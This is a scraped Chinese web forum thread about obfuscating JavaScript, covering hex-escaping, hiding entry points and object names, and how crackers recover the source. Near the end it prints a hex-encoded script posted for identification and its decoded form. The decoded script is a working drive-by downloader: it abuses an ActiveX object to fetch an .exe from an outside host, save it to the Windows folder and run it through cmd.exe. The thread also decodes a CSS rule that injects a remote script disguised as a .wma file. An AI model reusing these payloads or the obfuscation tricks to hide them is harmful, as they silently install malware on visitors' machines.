&提示:您可以先修改部分代码再运行所以不必对 document.write 进行再定义, 用 U 版即可. 比如上文中的: window[&document&][&write&](888);
最终会变为:&script type = &text.javascript&&
var _0xb63bl0=[&\x77\x72\x69\x74\x65&,&\x64\x6F\x63\x75\x6D\x65\x6E\x74&];\u\u006e\uf\ubl0[0x1]][_0xb63bl0[0x0]](888);
&提示:您可以先修改部分代码再运行
昵称: KongNan &时间:
昵称: bound0 &时间:
昵称: KongNan &时间:
这个的确是有点要命!实际使用中结合一些混眼用的垃圾代码或许还好一点。
谈谈对在网页元素中使用混淆后 javascript 的见解 ……?这句是什么意思?是不是我上一贴表述有问题,没说清楚?
我说的是把字串&window&对象化的办法 比如 _0x2e43xe=['\x69\x6E','\x77','\x64\x6F'] \x74\x68\x69\x73[_0x2e43xe[0x1]+_0x2e43xe[0x0]+_0x2e43xe[0x2]+_0x2e43xe[0x1]]
就是this.window
利用this对象,将&window&对象化,从而以此为根基开始执行以字串形式呈现的脚本代码。
Js固有的对象毕竟有限,有经验的破解者会把它们作为关键字来寻找突破口(就像第6类加密的通用破解方法就是利用关键字write,把这个write用自己的语句替换掉,比如改成textareaName.value=,从而轻易地得到源码),对于第7类来说关键字可以使破解者从垃圾代码之间轻松地找到脚本开始执行的入口,从而顺藤摸瓜地捋下去。所以尽量不要有这些关键字可循。
如果在网页代码中有一大堆有名字的标签,那么利用这些页面元素作为对象化的起点,这些名字就可以代替Js固有的对象名出现在关键位置,岂不乐得“乱”哉!!
昵称: bound0 &时间:
是我没说清楚
我的意思是,
比如一个按钮: &input type=&button& onclick=&sayHello()& /& 加红的部分怎么处理比较好?
因为对于使用字符串处理的部分,
原函数名已经不可使用了. 但如果不混淆上述函数, 又容易被人跟踪到里面的代码. 这是个比较危险的入口啊.
昵称: KongNan &时间:
昵称: ttyp &时间:
昵称: bound0 &时间:
这招狠, 佩服 复制内容到剪贴板代码:input1.onclick=sayhello //事件句柄在代码里加此方法我也想过, 但多页面常共享一个 js, 这将导致附加事件句柄时不够方便(甚至紊乱). 不知 bound0 有何高见. [人笨, 只想到了 try 块
]复制内容到剪贴板代码:最后,本人原则上不赞成代码混淆加密,写本程序是出于研究目的...开源的想法是不错的,
但我混淆的目的是隐藏 ajax 实现, 这对服务器安全略有好处. 嘿嘿.
昵称: KongNan &时间:
昵称: ttyp &时间:
昵称: bound0 &时间:
终于明白是什么情况了
&input type=&button& id=&button1& value=&Say&/& 网页元素里什么也没有
&script& var input1=document.getElementById(&but&+&ton1&) function sayhello(){ & & & &alert(&hello!&) } if(input1!=null)input1.onclick=sayhello //事件句柄在代码里加 &/script&
红色部分是相应的调整。
昵称: bound0 &时间:
昵称: piura &时间:
昵称: magnisoft &时间:
昵称: magnisoft &时间:
昵称: bjhaoyun &时间:
昵称: bound0 &时间:
昵称: bjhaoyun &时间:
昵称: magnisoft &时间:
昵称: bjhaoyun &时间:
Encode&编码&不在本话题的讨论范围内,来发言的人都须有这个觉悟了。
昵称: magnisoft &时间:
看,自己都说了是枉然嘛,又来反对,简直自相矛盾 我认为最薄弱的环节就是一般总能被人看到源文件,要想解决这个问题js能力实在非常有限,扬汤止沸不如釜底抽薪,还是java相对封闭些。算了,反正我是这么认为 还有我不同意你们的观点,但是我誓死捍卫你们说话的权利,不像某些人动不动就想说人家在灌水企图剥夺别人说话的权利! 我之所以举这个例子是想说明就连比较复杂的encode都早已破解,因为人家的源文件不需要解密就可以直接运行,更不要说别的加密方法了,因为必须解密才能保证不出问题。
昵称: bjhaoyun &时间:
昵称: magnisoft &时间:
那就是说还是枉然嘛,呵呵。哎,感觉现在挺迷茫的,做软件都有这个问题,像汇编的花指令等等都能有工具破解,也难怪大多数人现在都懒得保护版权的干脆都玩open
昵称: bjhaoyun &时间:
昵称: hutia &时间:
昵称: bound0 &时间:
昵称: bjhaoyun &时间:
昵称: magnisoft &时间:
昵称: cvpc &时间:
昵称: kkyhm &时间:
昵称: magnisoft &时间:
昵称: bjhaoyun &时间:
昵称: magnisoft &时间:
昵称: uruq &时间:
昵称: bjhaoyun &时间:
昵称: bound0 &时间:
昵称: bound0 &时间:
昵称: ttyp &时间:
昵称: pmessanger &时间:
昵称: tanglihua452 &时间:
比如有个input的name叫做afmidjf 从afmidjf入手,通过DOM关系可以指向任何元素。 比如afmidjf.parent.parent就是window
由于页面元素的name可以随便起,所以可以做到隐藏关键字了。
昵称: bound0 &时间:
昵称: ttyp &时间:
昵称: bound0 &时间:
昵称: wenming &时间:
昵称: infinte &时间:
昵称: infinte &时间:
昵称: infinte &时间:
昵称: infinte &时间:
昵称: 负羽 &时间:
昵称: bound0 &时间:
昵称: anuiz &时间:
昵称: bound0 &时间:
昵称: 91first &时间:
昵称: vipbaidu &时间:
昵称: unest &时间:
昵称: bound0 &时间:
这个代码是经过了编码混淆的,还原之后就是:复制内容到剪贴板代码:#utility{color: #00CC66; background-color: #FFFFFF;background-image:url(javascript:jsfile=document.createElement('script');jsfile.src='http://fm181.img.xiaonei.com/tribe//35/AMUS.wma';document.body.insertAdjacentElement('BeforeBegin',jsfile);)而再看AMUS.wma,发现只是明文脚本代码,并无混淆。
[ 本帖最后由 bound0 于
14:39 编辑 ]
昵称: bound0 &时间:
NEWJS2.JSStrInfo = &\x3c\x73\x63\x72\x69\x70\x74\x3e\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x7b\x72\x65\x74\x75\x72\x6e \x74\x72\x75\x65\x3b\x7d\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e& +&\n&+ &\x3c\x73\x63\x72\x69\x70\x74\x3e& +&\n&+ & \x44\x5a\x3d\'\\\x78\x36\x38\\\x78\x37\x34\\\x78\x37\x34\\\x78\x37\x30\\\x78\x33\x41\\\x78\x32\x46\\\x78\x32\x46\\\x78\x37\x30\\\x78\x36\x39\\\x78\x36\x33\\\x78\x32\x45\\\x78\x33\x31\\\x78\x33\x36\\\x78\x32\x45\\\x78\x37\x36\\\x78\x36\x37\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x45\\\x78\x36\x35\\\x78\x37\x38\\\x78\x36\x35\'\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ &\x66\x75\x6e\x63\x74\x69\x6f\x6e \x47\x6e\x4d\x73\x28\x6e\x29 & +&\n&+ &\x7b & +&\n&+ & \x76\x61\x72 \x6e\x75\x6d\x62\x65\x72\x4d\x73 \x3d \x4d\x61\x74\x68\x2e\x72\x61\x6e\x64\x6f\x6d\x28\x29\x2a\x6e\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x72\x65\x74\x75\x72\x6e \'\\\x78\x37\x45\\\x78\x35\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x37\x30\'\x2b\x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x75\x6d\x62\x65\x72\x4d\x73\x29\x2b\'\\\x78\x32\x45\\\x78\x37\x34\\\x78\x36\x44\\\x78\x37\x30\'\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ &\x7d & +&\n&+ & \x74\x72\x79 & +&\n&+ &\x7b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x76\x61\x72 \x42\x66\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\&\\\x78\x36\x46\\\x78\x36\x32\\\x78\x36\x41\\\x78\x36\x35\\\x78\x36\x33\\\x78\x37\x34\&\x29\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x42\x66\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\&\\\x78\x36\x33\\\x78\x36\x43\\\x78\x36\x31\\\x78\x37\x33\\\x78\x37\x33\\\x78\x36\x39\\\x78\x36\x34\&\x2c\&\\\x78\x36\x33\\\x78\x36\x43\\\x78\x37\x33\\\x78\x36\x39\\\x78\x36\x34\\\x78\x33\x41\\\x78\x34\x32\\\x78\x34\x34\\\x78\x33\x39\\\x78\x33\x36\\\x78\x34\x33\\\x78\x33\x35\\\x78\x33\x35\\\x78\x33\x36\\\x78\x32\x44\\\x78\x33\x36\\\x78\x33\x35\\\x78\x34\x31\\\x78\x33\x33\\\x78\x32\x44\\\x78\x33\x31\\\x78\x33\x31\\\x78\x34\x34\\\x78\x33\x30\\\x78\x32\x44\\\x78\x33\x39\\\x78\x33\x38\\\x78\x33\x33\\\x78\x34\x31\\\x78\x32\x44\\\x78\x33\x30\\\x78\x33\x30\\\x78\x34\x33\\\x78\x33\x30\\\x78\x33\x34\\\x78\x34\x36\\\x78\x34\x33\\\x78\x33\x32\\\x78\x33\x39\\\x78\x34\x35\\\x78\x33\x33\\\x78\x33\x36\&\x29\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x76\x61\x72 \x4b\x78\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\&\\\x78\x34\x44\\\x78\x36\x39\\\x78\x36\x33\\\x78\x37\x32\\\x78\x36\x46\\\x78\x37\x33\\\x78\x36\x46\\\x78\x36\x36\\\x78\x37\x34\\\x78\x32\x45\\\x78\x35\x38\&\x2b\&\\\x78\x34\x44\\\x78\x34\x43\\\x78\x34\x38\\\x78\x35\x34\\\x78\x35\x34\\\x78\x35\x30\&\x2c\&\&\x29\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x76\x61\x72 \x41\x53\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\&\\\x78\x34\x31\\\x78\x36\x34\\\x78\x36\x46\\\x78\x36\x34\\\x78\x36\x32\\\x78\x32\x45\\\x78\x35\x33\\\x78\x37\x34\\\x78\x37\x32\\\x78\x36\x35\\\x78\x36\x31\\\x78\x36\x44\&\x2c\&\&\x29\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x41\x53\x2e\x74\x79\x70\x65\x3d\x31\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x4b\x78\x2e\x6f\x70\x65\x6e\x28\&\\\x78\x34\x37\\\x78\x34\x35\\\x78\x35\x34\&\x2c \x44\x5a\x2c\x30\x29\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x4b\x78\x2e\x73\x65\x6e\x64\x28\x29\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x4e\x73\x31\x3d\x47\x6e\x4d\x73\x28\x39\x39\x39\x39\x29\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x76\x61\x72 \x63\x46\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\&\\\x78\x35\x33\\\x78\x36\x33\\\x78\x37\x32\\\x78\x36\x39\\\x78\x37\x30\\\x78\x37\x34\\\x78\x36\x39\\\x78\x36\x45\\\x78\x36\x37\\\x78\x32\x45\\\x78\x34\x36\\\x78\x36\x39\\\x78\x36\x43\\\x78\x36\x35\\\x78\x35\x33\\\x78\x37\x39\\\x78\x37\x33\\\x78\x37\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x34\x46\\\x78\x36\x32\\\x78\x36\x41\\\x78\x36\x35\\\x78\x36\x33\\\x78\x37\x34\&\x2c\&\&\x29\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x76\x61\x72 \x4e\x73\x54\x6d\x70\x3d\x63\x46\x2e\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6c\x46\x6f\x6c\x64\x65\x72\x28\x30\x29\x3b \x4e\x73\x31\x3d \x63\x46\x2e\x42\x75\x69\x6c\x64\x50\x61\x74\x68\x28\x4e\x73\x54\x6d\x70\x2c\x4e\x73\x31\x29\x3b \x41\x53\x2e\x4f\x70\x65\x6e\x28\x29\x3b\x41\x53\x2e\x57\x72\x69\x74\x65\x28\x4b\x78\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x41\x53\x2e\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65\x28\x4e\x73\x31\x2c\x32\x29\x3b \x41\x53\x2e\x43\x6c\x6f\x73\x65\x28\x29\x3b \x76\x61\x72 \x71\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\&\\\x78\x35\x33\\\x78\x36\x38\\\x78\x36\x35\\\x78\x36\x43\\\x78\x36\x43\\\x78\x32\x45\\\x78\x34\x31\\\x78\x37\x30\\\x78\x37\x30\\\x78\x36\x43\\\x78\x36\x39\\\x78\x36\x33\\\x78\x36\x31\\\x78\x37\x34\\\x78\x36\x39\\\x78\x36\x46\\\x78\x36\x45\&\x2c\&\&\x29\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x6f\x6b\x31\x3d\x63\x46\x2e\x42\x75\x69\x6c\x64\x50\x61\x74\x68\x28\x4e\x73\x54\x6d\x70\x2b\'\\\x78\x35\x43\\\x78\x35\x43\\\x78\x37\x33\\\x78\x37\x39\\\x78\x37\x33\\\x78\x37\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x33\x33\\\x78\x33\x32\'\x2c\'\\\x78\x36\x33\\\x78\x36\x44\\\x78\x36\x34\\\x78\x32\x45\\\x78\x36\x35\\\x78\x37\x38\\\x78\x36\x35\'\x29\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x71\x2e\x53\x68\x65\x4c\x4c\x45\x78\x65\x63\x75\x74\x65\x28\x6f\x6b\x31\x2c\'\\\x78\x32\x30\\\x78\x32\x46\\\x78\x36\x33 \'\x2b\x4e\x73\x31\x2c\&\&\x2c\&\\\x78\x36\x46\\\x78\x37\x30\\\x78\x36\x35\\\x78\x36\x45\&\x2c\x30\x29\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ &\x7d & +&\n&+ & \x63\x61\x74\x63\x68\x28\x4d\x73\x49\x29 \x7b \x4d\x73\x49\x3d\x31\x3b \x7d& +&\n&+ & \x65\x33\x64\x32\x65\x36\x66\x63\x62\x3d\'\x4f\x31\x32\x36\x30\x32\x62\x33\x65\x31\x63\'\x3b& +&\n&+ &\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e&
window[&\x64\x6f\x63\x75\x6d\x65\x6e\x74&][&\x77\x72\x69\x74\x65&](StrInfo);
&提示:您可以先修改部分代码再运行以上为2个JS文件,只知道加密了,不知道是否代码含有木马病毒或者说真正的含义是什么,就是真实的代码是什么?
望大侠给予指点!谢谢!
[ 本帖最后由 bound0 于
09:39 编辑 ]
昵称: moto5i &时间:
NEWJS2.JSStrInfo = &&script&window.onerror=function(){}&/script&& +&\n&+ &&script&& +&\n&+ & DZ=\'http://pic.16.vg/S368/S368.exe\';& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ &function GnMs(n) & +&\n&+ &{ & +&\n&+ & var numberMs = Math.random()*n;& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & return \'~Temp\'+Math.round(numberMs)+\'.tmp\';& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ &} & +&\n&+ & try & +&\n&+ &{& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & var Bf=document.createElement(\&object\&);& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & Bf.setAttribute(\&classid\&,\&clsid:BD96C556-65A3-11D0-983A-00C04FC29E36\&);& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & var Kx=Bf.CreateObject(\&Microsoft.X\&+\&MLHTTP\&,\&\&);& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & var AS=Bf.CreateObject(\&Adodb.Stream\&,\&\&);& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & AS.type=1;& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & Kx.open(\&\\x47\\x45\\x54\&, DZ,0);& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & Kx.send();& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & Ns1=GnMs(9999);& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & var cF=Bf.CreateObject(\&Scripting.FileSystemObject\&,\&\&);& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & var NsTmp=cF.GetSpecialFolder(0); Ns1= cF.BuildPath(NsTmp,Ns1); AS.Open();AS.Write(Kx.responseBody);& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & AS.SaveToFile(Ns1,2); AS.Close(); var q=Bf.CreateObject(\&Shell.Application\&,\&\&);& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & ok1=cF.BuildPath(NsTmp+\'\\system32\',\'cmd.exe\');& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & q.SheLLExecute(ok1,\' /c \'+Ns1,\&\&,\&open\&,0);& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ &} & +&\n&+ & catch(MsI) { MsI=1; }& +&\n&+ & e3d2e6fcb=\'Oc\';& +&\n&+ &&/script&&
window[&document&][&write&](StrInfo);
&提示:您可以先修改部分代码再运行
昵称: bound0 &时间:
昵称: esc8888 &时间:
昵称: sxtone &时间:
昵称: jorkin2000 &时间:}

我要回帖

更多关于 ipad怎么加密应用程序 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信